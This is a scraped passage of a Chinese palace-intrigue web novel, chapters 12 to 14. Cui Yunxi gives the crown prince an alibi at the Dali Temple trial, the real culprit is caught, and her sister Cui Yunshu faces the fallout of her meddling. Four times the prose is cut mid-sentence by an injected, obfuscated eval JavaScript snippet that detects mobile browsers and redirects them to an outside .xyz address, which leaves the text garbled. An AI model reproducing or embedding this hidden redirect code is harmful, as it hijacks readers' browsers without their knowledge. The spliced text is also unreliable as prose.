“正是。”崔云熙的声音依旧平静,却字字清晰,掷地有声,“民女听闻,近日京中流言四起,皆因大理寺审理一桩牵涉太子殿下的案件。民女斗胆,敢问大人,此案的症结,是否在于……案发当晚,太子殿下无法自证其行踪?” 郑修的额上渗出了冷汗,他没想到这位深闺贵女竟如此单刀直入。他沉吟片刻,还是点了点头:“确……确是如此。” “那便好。”崔云熙仿佛松了一口气,她环视了一圈堂上堂下所有惊愕的面孔,随即,用一种足以让整个京城都为之震动的、清晰而坚定的声音,一字一顿地陈述道: “案发当晚,太子殿下……一直与民女在一起。” 此言一出,满堂皆惊! 整个公堂,瞬间陷入了一片死一般的寂静,紧接着,便爆发出雷鸣般的哗然之声! “什么?!” “她说什么?太子殿下那晚和她在一起?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16367932|183896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我的天!这……这怎么可能!他们尚未完婚啊!” 旁听的百姓们彻底炸开了锅,议论声、惊呼声汇成一股巨大的声浪,几乎要将公堂的屋顶掀翻 。 郑修手中的惊堂木“啪”地一声掉在了地上,他目瞪口呆地看着堂下那个身姿纤弱却气势惊人的女子,感觉自己的世界观在这一刻被彻底颠覆了。 “肃静!肃静!”衙役们声嘶力竭地维持着秩序,却根本压不住这惊天的波澜。 崔云熙对周遭的一切充耳不闻。她就那么静静地站着,像一株遗世独立的寒梅,在风雪中傲然绽放。她继续用那平静无波的声音,将那个属于她和太子的秘密,当着天下人的面,缓缓揭开。 “那晚亥时三刻,殿下因思念心切,潜入我崔府,于民女所居的谧竹院中,与民女相会。” “我们……我们在院中竹林下的石凳上,坐着谈天,直到子时过半,殿下才悄然离去。” “我们谈及了江南的河工,谈及了北境的军务,殿下还……还为民女描绘了一幅他亲手所绘的《秋江待渡图》的景致……” 她叙述得极为详细,时间、地点、甚至二人谈话的细节,都一一对应,毫无破绽 。每一个细节,都像一把重锤,狠狠地砸在每一个听众的心上,也砸碎了那民妇所有的指控。 这,就是太子殿下完美的不在场证明 。 一个……以未来太子妃的名节为代价的不在场证明 。 【崔府】 消息如同一阵狂风,以最快的速度传回了崔府 。 当管家崔安将大理寺公堂上发生的一切,一字不漏地禀报给崔温和宋氏时,整个正厅,陷入了一片死寂。 宋氏身子一软,若非身旁的张嬷嬷及时扶住,险些瘫倒在地。她捂着心口,泪水无声地滑落,口中喃喃道:“我的熙姐儿……我的傻孩子啊……” 崔温则僵立在原地,一张老脸涨成了猪肝色,他指着门外,嘴唇哆嗦着,半晌才从牙缝里挤出一句话:“胡闹!简直是……胡闹!崔家的脸面……崔家百年的清誉……全都被她给毁了!” 而站在门口的崔云姝,则如遭五雷轰顶,整个人都僵住了 。 脑中一片空白 。 姐姐…… 她竟然……真的这么做了…… 她竟然真的为了那个男人,不惜牺牲自己最宝贵的名节,将他们之间最私密的会面,当着天下人的面,公之于众! 不! 这不可能! 她第一反应是,姐姐一定是被逼迫的!是被太子威胁了! 对,一定是这样!太子那个伪君子,为了自保,什么卑鄙的事情做不出来?!他一定是拿崔家的安危,拿哥哥的前途来威胁姐姐! 一股混杂着愤怒、惊恐与心痛的烈焰,瞬间冲垮了崔云姝的理智 。 “我要去找她!我要去把姐姐带回来!” 她尖叫一声,转身就往外冲,像一头被激怒的、失去了所有理智的幼兽 。 她要去大理寺,她要揭穿太子的阴谋,她要告诉所有人,她的姐姐是无辜的,是被胁迫的! 她不能眼睁睁地看着姐姐,为了一个“人渣”,跳进这万劫不复的深渊! 12. 第 12 章 崔云姝的脑海中,那根名为“理智”的弦,在听到姐姐去大理寺鸣冤的那一刻,便已应声绷断。 她不顾母亲宋氏的惊呼,不顾父亲崔温的怒斥,更不顾身后管家和仆役们慌乱的阻拦,像一头被逼入绝境的困兽,疯了一般地冲出了正厅 。 她要去大理寺!她要去把姐姐拉回来! 她要去揭穿那个伪君子的真面目!告诉所有人,她的姐姐是无辜的,是被胁迫的! 满腔的愤恨与惊恐,如岩浆般在她胸中翻涌,烧灼着她的五脏六腑。她跑得那样快,以至于夜风灌入喉中,都带着血腥的铁锈味。然而,她还未冲出崔府的大门,便被告知,崔云熙的马车已经回来了。 姐姐……回来了? 崔云姝的脚步猛地一顿,心中的狂怒瞬间被巨大的困惑所取代。她没有回自己的院子,甚至没有去正厅,而是调转方向,径直冲向了崔云熙所居住的谧竹院 。 谧竹院的院门紧闭,门口守着姐姐的心腹婢女阿竹,看到崔云姝气势汹汹地冲过来,阿竹连忙上前阻拦,脸上满是为难:“四姑娘,您……您不能进去。大姑娘她……她说她想一个人静一静。” “让开!”崔云姝双目赤红,哪里还听得进半句劝阻。她一把推开阿竹,用尽全身的力气,狠狠地撞开了那扇紧闭的院门 。 “砰——” 沉重的门板撞在墙上,发出一声巨响,惊得庭院中竹叶簌簌而落。 崔云姝提着裙摆,踉跄着冲进院子,目光如利剑般扫视着四周,寻找着那个让她牵肠挂肚的身影。 “姐姐!崔云熙!”她尖声叫着姐姐的名字,声音里充满了压抑不住的怒火与痛心。 她想象过无数种姐姐回来后的场景。或许是躲在房里以泪洗面,或许是心如死灰地枯坐发呆,又或许……是因不堪受辱而寻了短见。每一个设想,都让她的心揪得生疼。 然而,当她冲进主屋时,眼前的景象却让她所有的预设都轰然崩塌。 屋内的光线有些昏暗,崔云熙并未点亮太多烛火。她已经换下了一身素衣,只穿着一件月白色的寝衣,长发松松地挽着,并未梳洗。她没有哭,也没有闹,只是静静地坐在窗边的软榻上,手里捧着一卷书,神情平静得……就像是刚刚从一场再寻常不过的午后茶会中归来。 那份超乎寻常的从容与恬静,与崔云姝此刻的满心狂怒,形成了最尖锐、最荒谬的对比。 崔云姝冲到她面前,看着她那张波澜不惊的脸,胸中积攒的万千言语,最终化为一句撕心裂肺的质问: “为什么?!” 她死死地盯着崔云熙,眼中满是血丝,声音因激动而剧烈颤抖,“你为什么要这么作践自己?!是不是他逼你的?!是不是太子唐景承那个混蛋拿我们崔家、拿哥哥的前途来胁迫你了?!” 在她看来,这是唯一合理的解释。一定是那个卑鄙无耻的伪君子,为了洗脱自己的罪名,不惜牺牲姐姐的名节,逼着她去大理寺说出那番弥天大谎! 崔云熙缓缓放下手中的书卷,抬起头,那双清澈如古井的眸子静静地看着暴怒的妹妹。她的神情是那样的平静,平静到近乎冷漠 。 “四妹妹,”她开口,声音一如既往地温润,却带着一丝不容置疑的穿透力,“坐下。你吓到我了。” 崔云姝一愣,仿佛一拳打在了棉花上,所有的力气都无处宣泄。她看着姐姐那双沉静的眼睛,不知为何,心中那股滔天的怒火,竟被浇熄了几分。她喘着粗气,依言在对面的绣墩上坐下,但身体依旧紧绷着,像一张拉满了的弓。 “姐姐,你告诉我,到底是怎么回事?你不要怕,有什么委屈,你告诉我!我……我便是拼了这条命,也绝不会让他好过!” “姝儿,”崔云熙轻轻叹了口气,她第一次没有称呼她“四妹妹”,而是用了更亲昵的“姝儿”,“我没有受委屈,也没有人胁迫我。” 她看着崔云姝那双写满了不信与愤怒的眼睛,一字一顿地说道:“我在大理寺公堂上说的每一句话,句句是真。” 句句是真? 崔云姝像是听到了什么天方夜谭,她猛地站起身,又想发作,却被崔云熙接下来的话,死死地钉在了原地。 “你不是一直想知道,那晚究竟发生了什么吗?”崔云熙的目光飘向窗外,那清冷的月光映在她脸上,让她整个人都笼罩在一层朦胧的光晕之中,“好,今日,我便告诉你。” 她缓缓道出了那个属于她和太子的、不为人知的秘密始末 [。 “太子殿下他……自三月初便奉旨离京,去江南巡查河工。这一去,便是整整一个多月。直到春日宴的前两日,他才风尘仆仆地赶回京城。” “回京之后,他又被朝中积压的政务缠身,每日里都要在东宫批阅奏折到深夜,根本无暇分身。我们……我们已经快两个月没有见过面了。” 崔云熙说起这些时,声音很轻,很柔,那双一向古井无波的眸子里,第一次泛起了属于少女的、带着些许羞涩与甜蜜的涟漪。 “案发那晚,亥时已过,我早已熄灯歇下。却忽然听到窗外有异动,起初还以为是府里进了贼人,正惊疑不定时,却听到了他的声音……他隔着窗,轻轻唤我的名字。” “我当时又惊又喜,还有些……有些生气。我斥责他胡闹,深更半夜,私闯臣子府邸,若是被人发现,成何体统。可他却在窗外低声说,他实在是……太想我了。他说,他处理完政务,本想回寝宫歇下,可一闭上眼,满脑子都是我的样子,辗转反侧,难以入眠,便鬼使神差地……来了。” “我……我终究还是心软了,为他开了窗。” “我们没有在屋里,就在院中那片竹林下的石凳上坐着。夜里风凉,他怕我着凉,还将自己的外袍解下,披在了我的身上。那上面……还带着他从江南带回来的、淡淡的舟船木香。” 崔云姝呆呆地听着,脑海中不由自主地浮现出那副画面:月光如水,竹影婆娑,一对璧人依偎而坐,低声细语。那该是何等的诗情画意,何等的缱绻温柔。 这……这真的是她所认知的那个冷酷无情、野心勃勃的太子吗? “他与我说了许多话,”崔云熙的嘴角,不自觉地微微上扬,眼中是化不开的柔情,“他和我讲江南的风景,讲河工的艰难,讲他惩治了几个贪官,又提拔了几个能吏。他还说,他这次去,寻到了一位制墨大家,特意为我求了一方‘九子墨’,只待婚后,便可日日看我用那方墨,为他描眉作画……” “他说了很多很多,直到子时过半,更夫打更的声音传来,他才惊觉时辰已晚,依依不舍地离去。” 听着姐姐的叙述,崔云姝感觉自己像一个闯入者,窥探到了一个完全不属于她的、充满了甜蜜与温情的世界。这个世界,与“书”中那个充满了阴谋、背叛与血腥的世界,截然不同。 她张了张嘴,干涩地问道:“就……就这些?” “嗯,就这些。”崔云斥点了点头,随即,她的脸上又浮现出一抹更深的、带着骄傲的红晕。她看着自己震惊的妹妹,终于抛出了那个最重磅的、足以颠覆崔云姝所有认知的秘密。 “姝儿,你可知,我与殿下的婚约,并非如外界所传,只是冷冰冰的政治安排?” “五年前,上元宫宴,圣人携皇子公主与百官同乐。那时我才十二岁,跟着父亲,远远地见过他一面。我原以为,那不过是一场再寻常不过的宫宴,早已忘在了脑后。直到后来我才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16367933|183896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道,那一日,他也看见了我。” “是……是他亲自去向圣人求的这门亲事。” “他告诉我,那日他于万千灯火中,一眼便看到了我。他说,他从未见过一个女子,能将那般清冷的月华与那般温暖的灯火,如此完美地融于一身。自那以后,他便……对我念念不忘。” “父亲起初是不同意的,族中也有诸多顾虑。是殿下他……一再坚持,甚至不惜与圣人争执,才最终求来了这道赐婚的圣旨。” 崔云姝彻底呆住了 。 她像一尊石化的雕像,僵立在原地,大脑停止了思考,心脏也仿佛停止了跳动。 原来……是这样。 原来书中那几笔带过的“政治联姻”背后,竟是这样一段深藏不露、两情相悦的深情 。 原来她所以为的枷锁,在姐姐眼中,竟是得之不易的珍宝。 “那……那他为何……”崔云姝的声音微弱得几乎听不见,“案发之后,他为何不自己说出来?为何要任由那些流言发酵,任由自己被天下人唾骂?” “因为他要护着我啊,傻妹妹。”崔云熙的眼中,泪光闪烁,那泪水里,有心疼,有感动,更有无悔的爱意,“私会未婚妻,终究是于礼不合。他宁愿自己身败名裂,也不愿让我清白的名声,染上半分污点。他怕我因此遭受非议,怕世人骂我是不知廉耻、与人私相授受的□□。” “是我……是我不忍看他独自一人,承受那不白之冤。是我不忍看他为了我,被那些莫须有的罪名压垮。所以,我才决定站出来。他可以为我舍弃名声,我……自然也可以为他。” 崔云姝再也站不住了。她踉跄着后退,一屁股跌坐在冰冷的地上,巨大的冲击让她浑身发软,使不出一丝力气 。 错了。 一切都错了。 她精心策划的一切,她引以为傲的布局,她所以为的“拯救”,从头到尾,就是一场建立在错误根基上的、荒谬绝伦的闹剧! 她以为自己是救世主,殊不知,她才是那个亲手将姐姐逼入绝境,让她不得不以牺牲自己名节为代价,去拯救她的爱情的……罪魁祸首! 巨大的荒谬感与无边的愧疚,如同一只无形的大手,死死地扼住了她的咽喉,让她无法呼吸。 她看着眼前这个为了爱情,可以不顾一切、奋不顾身的姐姐,第一次感到自己对这个世界的认知,是何等的浅薄、无知和可笑 。 她脑海中,“书”里那一行行冰冷的文字,与方才姐姐眼中那温柔而坚定的光芒,激烈地碰撞、撕扯,几乎要将她的神智彻底撕裂 。 她想说些什么,想道歉,想解释自己并非有意,可喉咙里像是被塞满了滚烫的炭火,一个字也吐不出来。 最终,她只是挣扎着从地上爬起来,没有再看姐姐一眼,如同一个打了败仗的逃兵,踉跄着、狼狈地逃出了那间屋子,逃出了那个她自以为是,却从未真正读懂过的世界 。 夜风呼啸,吹得院中的竹林沙沙作响,像是在嘲笑着她的愚蠢与无知。 她赤着脚,踩在冰冷的石板路上,任由那刺骨的寒意从脚底一直蔓延到心底。 一个可怕的、让她不敢深思的念头,在她的脑海中疯狂滋长。 如果……如果姐姐说的都是真的…… 那么,“书”里的一切,又算什么? 既然太子与姐姐情深至此,又为何会在三年后起兵谋反?既然他如此珍视姐姐,又为何会落得个她惨死城楼、崔家满门抄斩的结局? 故事的走向,第一次,完全脱离了她的掌控 。 而她,这个自以为是的“先知”,也终于在这一刻,彻底沦为了一个被命运愚弄的、茫然无措的……局外人。 13. 第 13 章 自那夜与姐姐崔云熙一番惊心动魄的“夜谈”之后,崔云姝便将自己关在了房里,一连两日,闭门不出 。 她没有哭,也没有闹,只是静静地坐着,任由窗外的日升月落,光影流转。巨大的愧疚与荒谬感,如同无形的潮水,将她整个人都淹没、浸透,让她几乎失去了思考的能力。 她错了。 错得离谱,错得可笑,错得……罪无可恕。 她所以为的“拯救”,不过是一场自以为是的闹剧。她亲手掀起的舆论风暴,非但没有成为斩断枷锁的利剑,反而变成了一柄逼迫姐姐牺牲名节以证清白的屠刀。她像一个最愚蠢的、自诩聪明的棋手,在棋盘上落下的每一步,都精准地将自己和最想保护的人,推向了更深的深渊 。 那本“书”,那段她奉为圭臬的“剧情”,在姐姐那份真挚而决绝的爱情面前,显得如此苍白、脆弱,不堪一击 。 她这两年来的所有挣扎与算计,都成了一个天大的笑话。 门外,阿桃和院里的厨娘每日都变着法儿地送来各种精致的吃食,却又被原封不动地端走。母亲宋氏也来过几次,只是隔着门,轻声劝慰几句,见她不应,便也只留下一声悠长的叹息,没有强行闯入。 宋氏知道,她这个小女儿,需要自己想明白。有些坎,只能自己迈过去。 崔云姝就这么枯坐着,任由自己沉浸在无边的自我厌弃之中。直到第三日的清晨,当第一缕阳光穿透云层,照进她那昏暗的房间时,一个消息,如同惊雷,终于将她从这片混沌的泥沼中惊醒。 “太子案”,结了。 【大理寺,天牢】 大理寺的天牢,是整个京城最阴暗、最潮湿的地方。这里终年不见天日,空气中弥漫着一股霉菌与血腥混合的、令人作呕的气味。 崔云熙在大理寺公堂上那番石破天惊的“自证”之后,太子唐景承的嫌疑,便在官方层面上被彻底洗清了 。 龙椅之上的皇帝,在听闻此事后,反应极为复杂。一方面,他对未来太子妃不惜牺牲名节以护卫储君的刚烈品行大加赞赏,龙颜大悦;另一方面,他对那幕后搅动风云、意图构陷储君的黑手,感到了前所未有的震怒 。 一道措辞比之前任何时候都更为严厉的圣旨再次下达到大理寺,皇帝的耐心已经耗尽,他要郑修在二十四时辰之内,必须将真正的罪魁祸首缉拿归案,明正典刑,以儆效尤! 这道圣旨,对于大理寺而言,是催命符,但对于那对被关押在天牢里的兄妹来说,则是压垮他们心理防线的最后一根稻草。 大理寺少卿郑修,亲自提审。 这一次,他没有再问那民妇,而是将她那魁梧的兄长,那个在东市卖馄饨的汉子,单独提了出来。 昏暗的审讯室内,汉子被两名如狼似虎的狱卒死死地按在地上,他看着眼前这位面沉如水、眼神锐利如鹰的朝廷命官,身体不受控制地剧烈颤抖。 “说吧。”郑修的声音不带一丝感情,“是谁,指使你们兄妹二人,行此诬告储君的滔天大罪?” 汉子嘴唇哆嗦着,眼神躲闪,还想嘴硬:“大……大人,草民……草民不知大人在说什么……” “不知?”郑修冷笑一声,他从卷宗里抽出一张供状,轻轻拍在桌上,“崔大姑娘已经为太子殿下作证,殿下当晚整夜都与她在一处。你妹妹口口声声称被殿下欺辱,珠胎暗结,如今看来,不过是一派胡言。诬告储君,按我大秦律法,乃是灭族之罪。你若再不从实招来,不仅是你,你妹妹,你那尚在襁褓中的外甥,乃至你全族上下,都将为你今日的愚蠢,付出代价!” “灭族”二字,如同最锋利的尖刀,狠狠地刺穿了汉子最后一道心理防线。他猛地抬起头,眼中满是血丝与绝望,他可以死,但他不能连累家人! “我说!我说!大人,我全都说!”他彻底崩溃了,嚎啕大哭起来,“此事……此事与我妹妹无关!她……她也是被逼的!一切……一切都是我财迷心窍啊!” 在巨大的压力之下,汉子将事情的始末,和盘托出 。 原来,他妹妹确实被人玷污,也确实怀了身孕,但那人,却并非太子。在被婆家赶出家门后,兄妹二人走投无路。就在此时,一个自称是“贵人门下”的管事找到了他,给了他一大笔钱,让他妹妹去指认太子。那管事向他保证,事成之后,不仅会再给他一大笔封口费,还会为他妹妹寻一处清静的庄子,保她后半生衣食无忧。 财帛动人心。在巨大的诱惑与走投无路的绝境面前,汉子最终选择了铤而走险。 “那个管事是谁?他背后又是哪位‘贵人’?”郑修厉声追问。 “我……我不知道……”汉子哭着摇头,“我只见过他一面,他蒙着脸,我只知道他给了我一张银票,是……是城西‘通源钱庄’的票根。” 线索到这里,似乎断了。 然而,就在大理寺准备从钱庄这条线索入手追查时,一份匿名的信函,被悄无声息地放在了郑修的公案之上 。 信中没有多余的废话,只有寥寥数语,却字字惊心。 信上说,案发当晚,曾有人在卢府后门附近,见到礼部尚书王德海的侄子——王冲,鬼鬼祟祟地出没。此人素有劣迹,好色成性,是京中有名的纨绔子弟。信中甚至还附上了一枚小小的、沾着泥土的玉佩碎片,并言明,此物乃是王冲随身之物,是在那民妇被发现的院落墙角下找到的 。 郑修看着那枚玉佩碎片,又看了看信纸末尾那个用朱砂印上的、小小的“璞”字印章,眼神变得无比凝重。 安郡王府,小王爷唐璞。 郑修心中巨震。他知道,这位小王爷虽然看似闲散不羁,实则圣眷正浓,且手眼通天。他提供的线索,绝不会是空穴来风 。 “来人!”郑修当机立断,“立刻去礼部尚书府,将王冲给本官……‘请’回来!” 【崔府,清姝院】 当阿桃将大理寺的最终审理结果带回来时,崔云姝正坐在窗前,看着院子里那棵石榴树发呆。 “姐儿!姐儿!案子结了!”阿桃兴奋地跑进屋,脸上是藏不住的喜悦,“真凶抓到了!不是太子殿下!是一个叫王冲的混蛋!” 崔云姝的身体微微一震,缓缓回过头。 阿桃将自己打听来的一切,竹筒倒豆子般地说了出来。 大理寺将礼部尚书的侄子王冲捉拿归案后,铁证面前,那纨绔子弟的心理防线瞬间崩溃 。他涕泪横流地承认,案发当晚,他喝醉了酒,在卢府后巷见那民妇颇有姿色,便……便酒后乱性,见色起意,强行玷污了她 。 事后,他酒醒过来,又惊又怕,生怕事情败露。恰在此时,二皇子党羽中的一个幕僚找到了他,为他出了一个“一石二鸟”的毒计——让他将此事嫁祸给太子唐景承 。如此一来,既能让他自己脱罪,又能沉重打击东宫的声望。 于是,便有了后面这一系列构陷与嫁祸的戏码 。 “如今真相大白,圣上龙颜大悦,当庭下旨,将那王冲判了流放三千里,永世不得还朝!礼部尚书王德海也因此受到牵连,被罚俸三年,闭门思过。那民妇……也被送回了娘家,官府还给了她兄长一笔抚恤银。真是……真是沉冤得雪,大快人心!”阿桃说得眉飞色舞。 沉冤得雪…… 崔云姝听着这四个字,心中却泛起一阵难以言喻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16367934|183896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的苦涩。 太子的冤屈是洗刷了,可姐姐的名节呢?那些被她亲手煽动起来的、泼向东宫和崔家的脏水呢?这一切,又该如何洗刷? 她知道,这件事,远没有表面上看起来那么简单。 果然,当晚母亲宋氏来到她的院中时,带来的,是另一番更深层次的解读。 彼时,崔云姝已经收拾好了心情,亲自为母亲奉上了一杯热茶。 “阿娘。”她低着头,声音里带着浓浓的愧疚。 宋氏没有像往常一样安抚她,只是静静地看着她,看了许久,才缓缓开口:“想明白了?” 崔云姝的身子一颤,点了点头。 “知道自己错在哪儿了吗?” 崔云姝咬着唇,轻声道:“女儿……不该自以为是,不该……不该将姐姐牵扯进来……” “你错的,远不止这些。”宋氏打断了她,声音清冷而严肃,“你最大的错误,是太小看了这个世界的权力斗争,也太高估了自己掌控局势的能力。” 她端起茶杯,轻轻吹了吹热气,继续道:“你以为,扳倒一个王冲,这案子就算了结了?” 崔云姝一愣,抬起头。 “你当真以为,区区一个礼部尚书的侄子,就有胆子、有能力,策划出如此周密的、构陷储君的阴谋?”宋氏的眼中,闪烁着洞悉一切的智慧光芒,“那个王冲,不过是二皇子一派,在事情败露之后,匆忙推出来的一只替罪羊罢了。” “真正的幕后黑手,那个给王冲出谋划策的幕僚,乃至二皇子本人,依旧毫发无损地躲在暗处,看着我们沾沾自喜。” “阿娘的意思是……”崔云姝的心沉了下去。 “圣人心里跟明镜似的,他什么都知道。他之所以只惩处一个王冲便就此结案,不是他查不下去,而是他不想查。因为再查下去,便会动摇国本,让皇室内部的争斗彻底公开化,那是他不愿意看到的局面。” “所以,他敲打了礼部尚书,算是给了太子一个交代;又重判了王冲,算是给了天下百姓一个交代。但真正的风暴,远未结束。经此一役,东宫与二皇子一党,已是彻底撕破了脸皮,不死不休。而我们崔家,因为你姐姐的缘故,已经彻底被绑在了东宫的战车上,再无退路。” 宋氏的每一句话,都像一记重锤,狠狠地敲在崔云姝的心上,让她对自己之前的所作所为,有了更深刻、也更痛苦的认识。 她心烦意乱,脑中一片混乱 。 但同时,一种前所未有的冷静,也开始在她的心底悄然滋生 。 是的,阿娘说得对。 她太天真,太想当然了。她一直将这个世界当成一本可以随意翻阅、可以凭借“先知”为所欲为的“书”,却忘了,人心是活的,权力是复杂的,这世上的每一个人,都有着自己的欲望与算计。 她第一次开始,真正地、冷静地去思考这个世界的权力斗争,去思考太子、二皇子、皇帝,以及他们崔家,在这场旋涡中的位置与未来 。 “姝儿,”宋氏看着女儿脸上那复杂的神情,放缓了语气,眼中流露出一丝心疼,“阿娘知道,你做这一切,初衷是为了保护家人。但你要记住,很多时候,好心,也会办成坏事。” “这个世界,远比你想象的要复杂。今后行事,切不可再这般冲动鲁莽了。” 崔云姝重重地点了点头,眼中含着泪:“阿娘,女儿……知错了。” 她知道,从今天起,她不能再依赖那本不知真假的“书”了。她必须学会用自己的眼睛去看,用自己的头脑去想,去真正地了解这个世界,了解身边的每一个人。 这堂代价惨痛的课,她永生难忘。 14. 第 14 章 “太子案”尘埃落定的那几日,崔云姝把自己关在了清姝院里,谢绝了所有访客 。 她没有再像前几日那般枯坐着折磨自己,而是躺在床上,用锦被将自己从头到脚蒙得严严实实,企图用物理上的隔绝,来抵御那份从心底深处不断涌出的、铺天盖地的羞耻与懊恼 。 她搞砸了 。 她把一切都搞砸了。 她像一个自作聪明的小丑,在命运的舞台上,用尽浑身解数,上演了一出她自以为是的“拯救”大戏。她精心布置了场景,费尽心机地散播了流言,甚至不惜将姐姐的名节作为赌注。她以为自己是那个可以改写剧本的执笔者,到头来却发现,自己不过是那“剧情”里最滑稽、最愚蠢的注脚。 她想毁掉姐姐的婚事,结果却成了两人爱情故事里最关键的“催化剂” 。 她想让太子身败名裂,结果却让他成了天下女子都艳羡的、为爱甘愿蒙冤的“痴情储君” 。 她想让崔家与东宫彻底脱钩,结果……崔家如今与东宫的绑定,比以往任何时候都要深,都要牢固,牢固到了一种令人绝望的地步 。 每当想到这些,崔云姝都恨不得能挖个地洞,把自己埋进去,永世不再见人。她活了两辈子,从未有一刻,像现在这般,深刻地体会到什么叫“愚蠢” 。 “姐儿,您好歹吃点东西吧?您都两天没怎么进食了。”阿桃的声音在门外响起,带着浓浓的哭腔,“您再这样下去,身子会熬不住的。” 崔云姝将被子拉得更紧了些,把自己蜷缩成一团,不做任何回应。 她现在最不想见的,就是那些关心她的人。因为他们的每一句关怀,都像是在无声地提醒着她,她究竟犯下了多大的错,造成了多荒唐的后果。 然而,她想躲,现实却偏偏不如她所愿。 她亲手点燃的那把火,在绕了一大圈之后,终于以一种她万万没想到的、啼笑皆非的方式,烧回了她自己的身上 。 “姐儿!姐儿!您快听听!” 第三日午后,阿桃再也顾不上规矩,竟是直接推门闯了进来,她脸上是一种混杂着激动、困惑与哭笑不得的古怪神情。 “您听听外面,都……都传成什么样了!” 阿桃不由分说,拉开窗户。窗外,京城那喧嚣的、充满了烟火气的声音,便如同潮水般涌了进来。而在这片嘈杂之中,一阵阵婉转悠扬的、夹杂着喝彩声的唱曲儿声,竟是隐隐约约地传了过来。 起初,崔云姝还以为是自己听错了。可随着时间的推移,那歌声越来越清晰,甚至能辨认出其中的词句。 那是一家新开的酒楼,请了京城最有名的班子唱曲助兴。而他们今日所唱的,正是时下最火爆、最受追捧的曲目——《东宫情》。 “……为护卿名节,储君甘蒙不白冤,纵使天下皆唾骂,我自岿然不动如山……大理寺公堂上,烈女何惧人言,素衣击鼓惊天变,只为情郎洗沉冤……” 唱词婉转悱恻,将太子与崔云熙之间的故事,演绎得荡气回肠,感人肺腑。 崔云姝呆呆地听着,整个人都傻了。 这……这是什么东西? “姐儿,您不知道,”阿桃的表情比哭还难看,“您之前让石头找人编的那些歌谣……全都被改了!现在全京城的茶楼酒肆,说的、唱的,全都是这个!” 是的,改了。 一夜之间,舆论风向发生了惊天动地的一百八十度大转弯 。 那些被崔云姝用重金散播出去的、充满了恶意与诋毁的“太子风流案”歌谣,在崔云熙大理寺鸣冤之后,竟被京城的百姓们自发地、极富创造力地改编成了无数个版本 。 有话本版的《太子痴情记》,将太子与崔云熙从相识到相爱,再到历经磨难、情比金坚的过程,写得是跌宕起伏,催人泪下。 有评书版的《烈女鸣冤录》,将崔云熙塑造成了一个为爱不惜一切、德言容功四德兼备的奇女子,其风骨与勇气,引得无数人拍案叫绝。 更有甚者,还有好事者将二人的故事画成了连环画册,在市面上公然售卖,竟是一时洛阳纸贵。 太子为护爱人名节甘愿蒙冤,崔氏女为救情郎不惜牺牲名节,这个充满了误会、牺牲与坚贞爱情的故事,精准地戳中了所有人的嗨点,被民间艺人们加工、润色、升华,最终演变成了一段足以载入史册的“夜会美谈” 。 太子唐景承与崔家大小姐崔云熙,反倒成了全城百姓眼中最般配、最令人艳羡的神仙眷侣 。 崔云姝听着窗外那越来越响亮的喝彩声,只觉得喉头一甜,险些一口老血喷出来。 她这是……花了钱,办了坏事,最后还亲手为自己的“敌人”,谱写了一曲流芳百世的赞歌? 世间还有比这更荒诞、更讽刺的事情吗? 然而,这还不是结束。 真正的“暴击”,还在后头。 就在全京城都沉浸在这段“佳话”中时,一道来自宫中的圣旨,如同一块巨石,再次在京城这片本就不平静的湖面,激起了滔天巨浪。 传旨的内监,在崔家正厅,当着崔家所有主子的面,展开了那卷明黄色的圣旨,用他那尖细却洪亮的嗓音,高声宣读: “奉天承运,皇帝诏曰:咨尔崔氏有女云熙,秉性端庄,德言容功四德兼备。于东宫蒙难之际,不畏人言,不惜己身,其情可悯,其勇可嘉,堪为天下女子之表率!朕心甚慰!兹特下旨,褒其贤德,并宣布……将太子唐景承与崔氏云熙之婚期,提前至今年仲秋!钦此——” 圣旨念完,整个崔家正厅,先是死一般的寂静,随即爆发出震天的欢呼。 “吾皇万岁万岁万万岁!” 父亲崔温激动得老脸通红,率领着一众族老,行三跪九叩大礼,那份喜气洋洋、与有荣焉的模样,仿佛崔家已经提前出了一个皇后 。 紧接着,宫里的赏赐便如同流水一般,一箱箱地抬进了崔府。金银珠宝、绫罗绸缎、古玩字画……几乎要将崔家的库房堆满 。 崔云姝跪在人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16367935|183896||http|test|mini|href|location''.split(''|''),0,{})); () { 